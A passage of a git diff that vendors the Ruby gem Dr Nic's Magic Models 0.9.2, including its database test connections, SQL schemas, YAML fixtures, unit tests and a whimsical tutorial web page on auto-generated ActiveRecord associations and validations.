+ActiveRecord::Base.connection.class.class_eval do + cattr_accessor :query_count + alias_method :execute_without_query_counting, :execute + def execute_with_query_counting(sql, name = nil) + self.query_count += 1 + execute_without_query_counting(sql, name) + end +end + +#ActiveRecord::Base.logger = Logger.new(STDOUT) +#ActiveRecord::Base.colorize_logging = false diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_mysql/connection.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_mysql/connection.rb new file mode 100644 index 0000000..ba3b2f4 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_mysql/connection.rb @@ -0,0 +1,13 @@ +print "Using native MySQL\n" +require 'logger' + +ActiveRecord::Base.logger = Logger.new("debug.log") + +db1 = "dr_nic_magic_models_unittest" + +ActiveRecord::Base.establish_connection( + :adapter => "mysql", + :username => "root", + :encoding => "utf8", + :database => db1 +) diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_postgresql/connection.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_postgresql/connection.rb new file mode 100644 index 0000000..eb1f3d0 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_postgresql/connection.rb @@ -0,0 +1,12 @@ +print "Using Postgres\n" +require 'logger' + +ActiveRecord::Base.logger = Logger.new("debug.log") + +db1 = "dr_nic_magic_models_unittest" + +ActiveRecord::Base.establish_connection( + :adapter => "postgresql", + :encoding => "utf8", + :database => db1 +) diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_sqlite/connection.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_sqlite/connection.rb new file mode 100644 index 0000000..04805df --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_sqlite/connection.rb @@ -0,0 +1,10 @@ +print "Using native Sqlite3\n" +require 'logger' + +ActiveRecord::Base.logger = Logger.new("debug.log") + +ActiveRecord::Base.establish_connection( + :adapter => "sqlite3", + :dbfile => "test.db" +) + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/dummy_test.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/dummy_test.rb new file mode 100644 index 0000000..bb086cc --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/dummy_test.rb @@ -0,0 +1,13 @@ +require 'abstract_unit' +#require 'fixtures/user' +#require 'fixtures/group' +#require 'fixtures/membership' + +class DummyTest < Test::Unit::TestCase + def setup + end + + def test_truth + assert true + end +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/env_test.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/env_test.rb new file mode 100644 index 0000000..71463ec --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/env_test.rb @@ -0,0 +1,10 @@ +require 'abstract_unit' + +class EnvTest < Test::Unit::TestCase + + def test_modules + assert_not_nil DrNicMagicModels + assert_not_nil DrNicMagicModels::Validations + assert_not_nil DrNicMagicModels::Schema + end +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives.yml b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives.yml new file mode 100644 index 0000000..d0b31ea --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives.yml @@ -0,0 +1,3 @@ +first: + id: 1 + name: kind \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives_fun_users.yml b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives_fun_users.yml new file mode 100644 index 0000000..2666e18 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives_fun_users.yml @@ -0,0 +1,3 @@ +first: + fun_user_id: 1 + adjective_id: 1 \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.drop.sql b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.drop.sql new file mode 100644 index 0000000..a5f2252 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.drop.sql @@ -0,0 +1,4 @@ +DROP TABLE fun_users; +DROP TABLE groups; +DROP TABLE group_memberships; +DROP TABLE group_tag; \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.sql b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.sql new file mode 100644 index 0000000..378f471 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.sql @@ -0,0 +1,56 @@ +CREATE TABLE `fun_users` ( + `id` int(11) NOT NULL auto_increment, + `type` varchar(255) NOT NULL, + `firstname` varchar(50) NOT NULL, + `lastname` varchar(50) NOT NULL, + `login` varchar(50) NOT NULL, + `email` varchar(50) NULL, + PRIMARY KEY (`id`) +) TYPE=InnoDB; + +CREATE TABLE `groups` ( + `id` int(11) NOT NULL auto_increment, + `name` varchar(50) NOT NULL UNIQUE, + `description` varchar(50) default NULL, + `some_int` integer default NULL, + `some_float` float default NULL, + `some_bool` boolean default NULL, + PRIMARY KEY (`id`) +) TYPE=InnoDB; + +CREATE TABLE `group_memberships` ( + `id` int(11) NOT NULL auto_increment, + `fun_user_id` int(11) NOT NULL, + `group_id` int(11) NOT NULL, + PRIMARY KEY (`id`) +) TYPE=InnoDB; + +CREATE TABLE `adjectives` ( + `id` int(11) NOT NULL auto_increment, + `name` varchar(255), + PRIMARY KEY (`id`) +) TYPE=InnoDB; + +CREATE TABLE `adjectives_fun_users` ( + `fun_user_id` int(11) NOT NULL, + `adjective_id` int(11) NOT NULL, + PRIMARY KEY (`fun_user_id`,`adjective_id`) +) TYPE=InnoDB; + + +CREATE TABLE `group_tag` ( + `id` int(11) NOT NULL auto_increment, + `name` varchar(50) NOT NULL, + `group_id` int(11) NOT NULL, + `referenced_group_id` int(11) NULL UNIQUE, + PRIMARY KEY (`id`) +) TYPE=InnoDB; + +ALTER TABLE `group_tag` + ADD FOREIGN KEY (`group_id`) REFERENCES `groups` (`id`) ON DELETE CASCADE; + +ALTER TABLE `group_tag` + ADD FOREIGN KEY (`referenced_group_id`) REFERENCES `groups` (`id`) ON DELETE CASCADE; + +ALTER TABLE `adjectives_fun_users` + ADD FOREIGN KEY (`adjective_id`) REFERENCES `adjectives` (`id`) ON DELETE CASCADE; diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/postgresql.sql b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/postgresql.sql new file mode 100644 index 0000000..f8e07a1 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/postgresql.sql @@ -0,0 +1,55 @@ +CREATE TABLE "fun_users" ( + "id" SERIAL NOT NULL, + "type" varchar(255) NOT NULL, + "firstname" varchar(50) NOT NULL, + "lastname" varchar(50) NOT NULL, + "login" varchar(50) NOT NULL, + "email" varchar(50) NULL, + PRIMARY KEY ("id") +); + +CREATE TABLE "groups" ( + "id" SERIAL NOT NULL, + "name" varchar(50) NOT NULL UNIQUE, + "description" varchar(50) default NULL, + "some_int" integer default NULL, + "some_float" float default NULL, + "some_bool" boolean default NULL, + PRIMARY KEY ("id") +); + +CREATE TABLE "group_memberships" ( + "id" SERIAL, + "fun_user_id" int NOT NULL, + "group_id" int NOT NULL, + PRIMARY KEY ("id") +); + +CREATE TABLE "adjectives" ( + "id" SERIAL, + "name" varchar(255), + PRIMARY KEY ("id") +); + +CREATE TABLE "adjectives_fun_users" ( + "fun_user_id" int NOT NULL, + "adjective_id" int NOT NULL, + PRIMARY KEY ("fun_user_id","adjective_id") +); + +CREATE TABLE "group_tag" ( + "id" SERIAL NOT NULL, + "name" varchar(50) NOT NULL, + "group_id" int NOT NULL, + "referenced_group_id" int NULL UNIQUE, + PRIMARY KEY ("id") +); + +ALTER TABLE "group_tag" + ADD FOREIGN KEY ("group_id") REFERENCES "groups" ("id") ON DELETE CASCADE; + +ALTER TABLE "group_tag" + ADD FOREIGN KEY ("referenced_group_id") REFERENCES "groups" ("id") ON DELETE CASCADE; + +ALTER TABLE "adjectives_fun_users" + ADD FOREIGN KEY ("adjective_id") REFERENCES "adjectives" ("id") ON DELETE CASCADE; diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/sqlite.sql b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/sqlite.sql new file mode 100644 index 0000000..66a8347 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/sqlite.sql @@ -0,0 +1,49 @@ +CREATE TABLE `fun_users` ( + `id` int(11) NOT NULL, + `type` varchar(255) NOT NULL, + `firstname` varchar(50) NOT NULL, + `lastname` varchar(50) NOT NULL, + `login` varchar(50) NOT NULL, + `email` varchar(50) NULL, + PRIMARY KEY (`id`) +); + +CREATE TABLE `groups` ( + `id` int(11) NOT NULL , + `name` varchar(50) NOT NULL UNIQUE, + `description` varchar(50) default NULL, + `some_int` integer default NULL, + `some_float` float default NULL, + `some_bool` boolean default NULL, + PRIMARY KEY (`id`) +); + +CREATE TABLE `group_memberships` ( + `id` int(11) NOT NULL, + `fun_user_id` int(11) NOT NULL, + `group_id` int(11) NOT NULL, + PRIMARY KEY (`id`) +); + +CREATE TABLE `adjectives` ( + `id` int(11) NOT NULL, + `name` varchar(255), + PRIMARY KEY (`id`) +); + +CREATE TABLE `adjectives_fun_users` ( + `fun_user_id` int(11) NOT NULL, + `adjective_id` int(11) NOT NULL, + PRIMARY KEY (`fun_user_id`,`adjective_id`) +); + + +CREATE TABLE `group_tag` ( + `id` int(11) NOT NULL, + `name` varchar(50) NOT NULL, + `group_id` int(11) NOT NULL, + `referenced_group_id` int(11) NULL UNIQUE, + PRIMARY KEY (`id`) +); + + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/fun_users.yml b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/fun_users.yml new file mode 100644 index 0000000..cb413d5 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/fun_users.yml @@ -0,0 +1,14 @@ +first: + id: 1 + firstname: First + lastname: Person + login: first + email: first@person.com + type: FunUser +second: + id: 2 + firstname: Second + lastname: Person + login: sec + email: sec@person.com + type: FunUserPlus diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_memberships.yml b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_memberships.yml new file mode 100644 index 0000000..97c1244 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_memberships.yml @@ -0,0 +1,4 @@ +first_first: + id: 1 + group_id: 1 + fun_user_id: 1 diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_tag.yml b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_tag.yml new file mode 100644 index 0000000..2f17265 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_tag.yml @@ -0,0 +1,11 @@ +first: + id: 1 + name: Test + group_id: 1 + referenced_group_id: 1 +second: + id: 2 + name: Also Test + group_id: 1 + referenced_group_id: NULL + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/groups.yml b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/groups.yml new file mode 100644 index 0000000..0317099 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/groups.yml @@ -0,0 +1,12 @@ +first: + id: 1 + name: Group One + description: First group +other: + id: 2 + name: Group Plus + description: Extended Group +other: + id: 2 + name: Group Plus + description: Extended Group diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/foreign_keys_test.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/foreign_keys_test.rb new file mode 100644 index 0000000..e69de29 diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/fun_user_plus.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/fun_user_plus.rb new file mode 100644 index 0000000..06868f1 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/fun_user_plus.rb @@ -0,0 +1,2 @@ +class FunUserPlus < FunUser +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_access_test.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_access_test.rb new file mode 100644 index 0000000..afd6542 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_access_test.rb @@ -0,0 +1,71 @@ +require 'abstract_unit' +require 'pp' + +class InvisibleModelAccessTest < Test::Unit::TestCase + # fixtures :fun_users, :groups, :group_memberships, :group_tag + + def setup + create_fixtures :fun_users, :groups, :group_memberships, :group_tag + @classes = [FunUser, Group, GroupMembership, GroupTag] + @group = Group.find(:first) + end + + def test_attributes + assert_not_nil @group.name + end + + def test_find + @classes.each do |klass| + assert_not_nil obj = klass.find(1) + assert_equal klass, obj.class + end + end + + def test_sti + require 'fun_user_plus' + x = FunUserPlus.find(:all) + assert x.inject {|n,v| n &= v.class == FunUserPlus}, "Wrong object class in FunUserPlus.find(:all)" + plus = x.first + assert_not_nil plus + assert plus.is_a?(FunUser) + assert plus.class == FunUserPlus + end + + def test_new + assert group = Group.new(:name => 'New Group') + assert_equal Group, group.class + end + + def test_update + assert @group.update_attributes(:name => 'Group 1'), "Couldn't update:\n#{str=""; @group.errors.each_full { |msg| str += "#{msg}\n" }; str }" + end + + def test_delete + assert @group.destroy + end + + def test_validations + group = Group.new + group.description = "x"*100 + group.some_int = 99.9 + group.some_float = "bah" + # Active record seems to interpolate booleans anyway to either true, false or nil... + # group.some_bool = "xxx" => false (!) + + assert !group.valid?, "Group should not be valid" + [:name, :description, :some_int, :some_float].each do |x| + assert_not_nil group.errors[x], "Failed on #{x}=[#{group.send(x)}], it should be invalid" + end + + group = Group.new + group.name = "name" + group.description = "x"*49 + group.some_int = 99 + group.some_float = 99.9 + group.some_bool = true + assert group.valid?, "Group should be valid" + + group.name = @group.name + assert !group.valid?, "Groups should have unique names" + end +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_assoc_test.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_assoc_test.rb new file mode 100644 index 0000000..815d298 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_assoc_test.rb @@ -0,0 +1,61 @@ +require 'abstract_unit' + +class InvisibleModelAssocTest < Test::Unit::TestCase + # fixtures :fun_users, :groups, :group_memberships, :group_tag, :adjectives, :adjectives_fun_users + + def setup + create_fixtures :fun_users, :groups, :group_memberships, :group_tag, :adjectives, :adjectives_fun_users + @group = Group.find(1) + @group_tag = GroupTag.find(1) + @user = FunUser.find(1) + @membership = GroupMembership.find(1) + end + + def test_hatbm + assert_equal([Adjective.find(1)], @user.adjectives) + end + + def test_fk + + gt = GroupTag.find(1) + + # Not using FKs + g = gt.group + assert g.class == Group + assert g.id == 1 + + # Using FKs + if g.connection.supports_fetch_foreign_keys? + g = gt.referenced_group + assert g.class == Group + assert g.id == 1 + end + end + + def test_has_many + assert_equal [@membership], @group.group_memberships + assert_equal @group, @membership.group + end + + def test_has_one + if @group_tag.connection.supports_fetch_foreign_keys? + assert_equal @group, @group_tag.referenced_group + # assert_equal @group_tag, @group.group_tag_as_referenced_group + end + end + + def test_belongs_to + assert_equal @user, @membership.fun_user + assert_equal @group, @membership.group + manual_result = GroupTag.find(:all, :conditions => ['group_tag.group_id = ?', @group.id]) #.sort{|a,b| a.id <=> b.id} + auto_result = @group.group_tags #.sort{|a,b| a.id <=> b.id} + assert manual_result == auto_result, "[#{manual_result.join(',')}] != [#{auto_result.join(',')}]" + + end + + def test_indirect + assert_equal [@user], @group.fun_users + assert_equal [@group], @user.groups + end + +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_classes_test.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_classes_test.rb new file mode 100644 index 0000000..883d175 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_classes_test.rb @@ -0,0 +1,23 @@ +require 'abstract_unit' + +class InvisibleModelClassesTest < Test::Unit::TestCase + + def setup + + end + + def test_available + assert_not_nil Group + assert_not_nil FunUser + assert_not_nil GroupMembership + assert_not_nil GroupTag, "Could not find GroupTag with singularized table name 'GroupTag'" + end + + def test_table_names + assert_equal 'groups', Group.table_name + assert_equal 'fun_users', FunUser.table_name + assert_equal 'group_memberships', GroupMembership.table_name + assert_equal 'group_tag', GroupTag.table_name + end + +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/magic_module_test.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/magic_module_test.rb new file mode 100644 index 0000000..27a5c74 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/magic_module_test.rb @@ -0,0 +1,20 @@ +require 'abstract_unit' + +module MagicGroup + magic_module :table_name_prefix => 'group_' +end + +class MagicModuleTest < Test::Unit::TestCase + + def setup + + end + + def test_table_prefix + assert_nothing_thrown { MagicGroup::Membership } + assert_equal('group_memberships', MagicGroup::Membership.table_name) + assert_nothing_thrown { MagicGroup::Tag } + assert_equal('group_tag', MagicGroup::Tag.table_name) + end + +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/test_existing_model.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/test_existing_model.rb new file mode 100644 index 0000000..29378d1 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/test_existing_model.rb @@ -0,0 +1,20 @@ +require 'abstract_unit' +require 'pp' + +module TestBed + class Group < ActiveRecord::Base + generate_validations + end +end + +class TestExistingModel < Test::Unit::TestCase + # fixtures :fun_users, :groups, :group_memberships, :group_tag + + def setup + create_fixtures :fun_users, :groups, :group_memberships, :group_tag + end + + def test_valid + assert(!TestBed::Group.new.valid?) + end +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/index.html b/vendor/gems/dr_nic_magic_models-0.9.2/website/index.html new file mode 100644 index 0000000..06a2dca --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/index.html @@ -0,0 +1,404 @@ + + + + + + + Dr Nic’s Magic Models + + + + + + + +
    +

    ↩ More Magic

    + +
    + Get Version + +
    +

    Dr Nic’s Magic Models

    +

    If you’ve used Ruby on Rails you’ll have written at least one model class like this:

    + + +

    +class Person < ActiveRecord::Base
    +  has_many :memberships
    +  has_many :groups, :through => :memberships
    +  belongs_to :family
    +  validates_presence_of :firstname, :lastname, :email
    +end
    +

    + + +

    A few minutes later you’ll have wondered to yourself,

    + + +
    +Why do I have write my own has_many, belongs_to, and validates_presence_of +commands if all the data is in the database schema? +
    + +

    Now, for the very first time, your classes can look like this:

    + + +

    +class Person < ActiveRecord::Base
    +end
    +

    + + +

    or, if you are lazy…

    + + +

    +class Person < ActiveRecord::Base; end
    +

    + + +

    or, if you read right to the end of this page, this…

    + + +

    +# Go fish.
    +

    + + +

    Magic and mystery abound. All for you. Impress your friends, amaze your mother.

    + + +

    NOTE: The gratuitous use of Dr Nic’s in the name should only enhance the mystical magikery, +for magic needs a magician; and I love magic. I always wanted to create my own magic trick. +So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too, +if Harry were 32 and better dressed.

    + + +

    Installation

    + + +To install the Dr Nic’s Magic Models gem you can run the following command to +fetch the gem remotely from RubyForge: +
    +gem install dr_nic_magic_models
    +
    + +

    or download the gem manually and +run the above command in the download directory.

    + + +

    Now you need to require the gem into your Ruby/Rails app. Insert the following +line into your script (use config/environment.rb for your Rails apps):

    + + +
    +require 'dr_nic_magic_models'
    +
    + +

    Your application is now blessed with magical mystery.

    + + +

    David Copperfield eat your Ruby-crusted heart out

    + + +

    Let’s demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas):

    + + +

    +rails magic_show -d sqlite3
    +cd magic_show
    +ruby script/generate model Person
    +ruby script/generate model Group
    +ruby script/generate model Membership
    +

    + + +

    Update the migration 001_create_people.rb with: +

    +class CreatePeople < ActiveRecord::Migration
    +  def self.up
    +    create_table :people do |t|
    +      t.column :firstname, :string, :null => false
    +      t.column :lastname, :string, :null => false
    +      t.column :email, :string, :null => false
    +    end
    +  end
    +
    +  def self.down
    +    drop_table :people
    +  end
    +end
    +

    + + +

    Similarly, update the def self.up method of 002_create_groups.rb +with: +

    +    create_table :groups do |t|
    +      t.column :name, :string, :null => false
    +      t.column :description, :string
    +    end
    +

    + + +

    and 003_create_memberships.rb with: +

    +    create_table :memberships do |t|
    +      t.column :person_id, :integer, :null => false
    +      t.column :group_id, :integer, :null => false
    +    end
    +

    + + +And run your migrations to create the three tables: +
    +rake db:migrate
    +
    + +

    And now for some woofle dust ...

    + + +

    At the end of config/environment.rb add the following line:

    + + +
    +require 'dr_nic_magic_models'
    +
    + +

    Now, let’s do a magic trick. First, let’s check our model classes (app/models/person.rb etc):

    + + +

    +class Person < ActiveRecord::Base
    +end
    +class Group < ActiveRecord::Base
    +end
    +class Membership < ActiveRecord::Base
    +end
    +

    + + +

    Nothing suspicious here. We have no validations and no associations. Just some plain old model classes.

    + + +

    UPDATE: To turn on magic validations, you now need to invoke generate_validations on defined classes. So, update your model classes:

    + + +

    +class Person < ActiveRecord::Base
    +  generate_validations
    +end
    +class Group < ActiveRecord::Base
    +  generate_validations
    +end
    +class Membership < ActiveRecord::Base
    +  generate_validations
    +end
    +

    + + +

    For this trick, we’ll need an ordinary console session. Any old one lying around the house will do.

    + + +
    +ruby script/console
    +
    + +

    Now a normal model class is valid until you explicitly add validates_xxx commands. +With Dr Nic’s Magic Models:

    + + +

    +person = Person.new
    +=> #<Person:0x393e0f8 @attributes={"lastname"=>"", "firstname"=>"", "email"=>""}, @new_record=true>
    +person.valid?
    +=> false
    +person.errors
    +=> #<ActiveRecord::Errors:0x3537b38 @errors={
    +	"firstname"=>["can't be blank", "is too long (maximum is 255 characters)"], 
    +	"lastname"=>["can't be blank", "is too long (maximum is 255 characters)"], 
    +	"email"=>["can't be blank", "is too long (maximum is 255 characters)"]},
    +	 @base=#<Person:0x3538bf0 @errors=#<ActiveRecord::Errors:0x3537b38 ...>, @new_record=true, 
    +		@attributes={"lastname"=>nil, "firstname"=>nil, "email"=>nil}>>
    +

    + + +

    Kapoow! Instant validation! (NOTE: not as instant as it used to be – remember – you need to call generate_validations on each class as required)

    + + +

    Because you specified the three columns as :null => false, +your ActiveRecord models will now automagically generated validates_presence_of +for each non-null field, plus several other validations (since version 0.8.0).

    + + +

    Ok, we’re just warming up.

    + + +

    Your models normally require association commands (has_many, belongs_to, etc, as +demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for.

    + + +

    Let’s just watch what Dr Nic’s Magic Models can do without any effort at all…

    + + +

    +person = Person.create(:firstname => "Nic", :lastname => "Williams", :email => "drnicwilliams@gmail.com")
    +group = Group.create(:name => "Magic Models Forum", :description => "http://groups.google.com/magicmodels")
    +membership = Membership.create(:person => person, :group => group)
    +person.memberships.length
    +=> 1
    +membership.person
    +=> <Person:0x38898e8 @attributes={"lastname"=>"Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
    +group.memberships
    +=> [<Membership:0x3c8cd70 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
    +

    + + +

    That final association trick is a ripper. Automatic generation of has_many :through associations…

    + + +

    +>> person.groups
    +=> [<Group:0x39047e0 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
    +>> group.people
    +=> [<Person:0x3c33580 @attributes={"lastname"=>"Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>]
    +

    + + +

    Drum roll…

    + + +

    Ladies and gentlemen. For my final feat of magical mastery, I’ll ask you to do +something you’ve never done before. This illusion is akin to the floating lady +illusion that has been passed down through generations of magicians.

    + + +

    Exit your console session.

    + + +DELETE your three model classes: person.rb, group.rb, and membership.rb from the +app/models folder. (You can always get them back via the model generator… be fearless!) + +
    rm app/models/*.rb
    + +

    Re-launch your console.

    + + +

    drums are still rolling…

    + + +

    Be prepared to applaud loudly…

    + + +

    +>> Person
    +=> Person
    +

    + + +

    You applaud loudly, but watch for more…

    + + +

    +>> Person.new.valid?
    +=> false
    +>> person = Person.find(1)
    +=> <Person:0x3958930 @attributes={"lastname"=>"Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
    +>> person.valid?
    +=> true
    +>> person.memberships
    +=> [<Membership:0x393a000 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
    +>> person.groups
    +=> [<Group:0x390df60 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
    +

    + + +

    Tada!

    + + +

    The end.

    + + +

    Use modules to scope your magic

    + + +

    Only want to pick up tables starting with blog_?

    + + +

    module Blog
    +  magic_module :table_name_prefix => 'blog_'
    +end
    +
    +Blog::Post.table_name #	=> 'blog_posts'
    +

    + + +

    Dr Nic’s Blog

    + + +

    http://www.drnicwilliams.com – for future announcements and +other stories and things.

    + + +

    Articles about Magic Models

    + + + + + +

    Forum

    + + +

    http://groups.google.com/group/magicmodels

    + + +

    Licence

    + + +

    This code is free to use under the terms of the MIT licence.

    + + +

    Contact

    + + +

    Comments are welcome. Send an email to Dr Nic Williams +or via his blog at http://www.drnicwilliams.com

    +

    + Dr Nic, 30th April 2007
    + Theme extended from Paul Battley +

    +
    + + + + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/index.txt b/vendor/gems/dr_nic_magic_models-0.9.2/website/index.txt new file mode 100644 index 0000000..e3cc4cf --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/index.txt @@ -0,0 +1,291 @@ +h1. Dr Nic's Magic Models + +If you've used Ruby on Rails you'll have written at least one model class like this: + +
    +class Person < ActiveRecord::Base
    +  has_many :memberships
    +  has_many :groups, :through => :memberships
    +  belongs_to :family
    +  validates_presence_of :firstname, :lastname, :email
    +end
    +
    + +A few minutes later you'll have wondered to yourself, + +
    +Why do I have write my own has_many, belongs_to, and validates_presence_of +commands if all the data is in the database schema? +
    + +Now, for the very first time, your classes can look like this: + +
    +class Person < ActiveRecord::Base
    +end
    +
    + +or, if you are lazy... + +
    +class Person < ActiveRecord::Base; end
    +
    + +or, if you read right to the end of this page, this... + +
    +# Go fish.
    +
    + +Magic and mystery abound. All for you. Impress your friends, amaze your mother. + +NOTE: The gratuitous use of *Dr Nic's* in the name should only enhance the mystical magikery, +for magic needs a magician; and I love magic. I always wanted to create my own magic trick. +So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too, +if Harry were 32 and better dressed. + +h2. Installation + +To install the Dr Nic's Magic Models gem you can run the following command to +fetch the gem remotely from RubyForge: +
    +gem install dr_nic_magic_models
    +
    + +or "download the gem manually":http://rubyforge.org/projects/magicmodels and +run the above command in the download directory. + +Now you need to require the gem into your Ruby/Rails app. Insert the following +line into your script (use config/environment.rb for your Rails apps): + +
    +require 'dr_nic_magic_models'
    +
    + +Your application is now blessed with magical mystery. + +h2. David Copperfield eat your Ruby-crusted heart out + +Let's demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas): + +
    +rails magic_show -d sqlite3
    +cd magic_show
    +ruby script/generate model Person
    +ruby script/generate model Group
    +ruby script/generate model Membership
    +
    + +Update the migration 001_create_people.rb with: +
    +class CreatePeople < ActiveRecord::Migration
    +  def self.up
    +    create_table :people do |t|
    +      t.column :firstname, :string, :null => false
    +      t.column :lastname, :string, :null => false
    +      t.column :email, :string, :null => false
    +    end
    +  end
    +
    +  def self.down
    +    drop_table :people
    +  end
    +end
    +
    + +Similarly, update the def self.up method of 002_create_groups.rb +with: +
    +    create_table :groups do |t|
    +      t.column :name, :string, :null => false
    +      t.column :description, :string
    +    end
    +
    + +and 003_create_memberships.rb with: +
    +    create_table :memberships do |t|
    +      t.column :person_id, :integer, :null => false
    +      t.column :group_id, :integer, :null => false
    +    end
    +
    + +And run your migrations to create the three tables: +
    +rake db:migrate
    +
    + +h3. And now for some "woofle dust":http://en.wikipedia.org/wiki/List_of_conjuring_terms ... + +At the end of config/environment.rb add the following line: + +
    +require 'dr_nic_magic_models'
    +
    + +Now, let's do a magic trick. First, let's check our model classes (app/models/person.rb etc): + +
    +class Person < ActiveRecord::Base
    +end
    +class Group < ActiveRecord::Base
    +end
    +class Membership < ActiveRecord::Base
    +end
    +
    + +Nothing suspicious here. We have no validations and no associations. Just some plain old model classes. + +UPDATE: To turn on magic validations, you now need to invoke generate_validations on defined classes. So, update your model classes: + +
    +class Person < ActiveRecord::Base
    +  generate_validations
    +end
    +class Group < ActiveRecord::Base
    +  generate_validations
    +end
    +class Membership < ActiveRecord::Base
    +  generate_validations
    +end
    +
    + +For this trick, we'll need an ordinary console session. Any old one lying around the house will do. + +
    +ruby script/console
    +
    + +Now a normal model class is valid until you explicitly add validates_xxx commands. +With Dr Nic's Magic Models: + +
    +person = Person.new
    +=> #"", "firstname"=>"", "email"=>""}, @new_record=true>
    +person.valid?
    +=> false
    +person.errors
    +=> #["can't be blank", "is too long (maximum is 255 characters)"], 
    +	"lastname"=>["can't be blank", "is too long (maximum is 255 characters)"], 
    +	"email"=>["can't be blank", "is too long (maximum is 255 characters)"]},
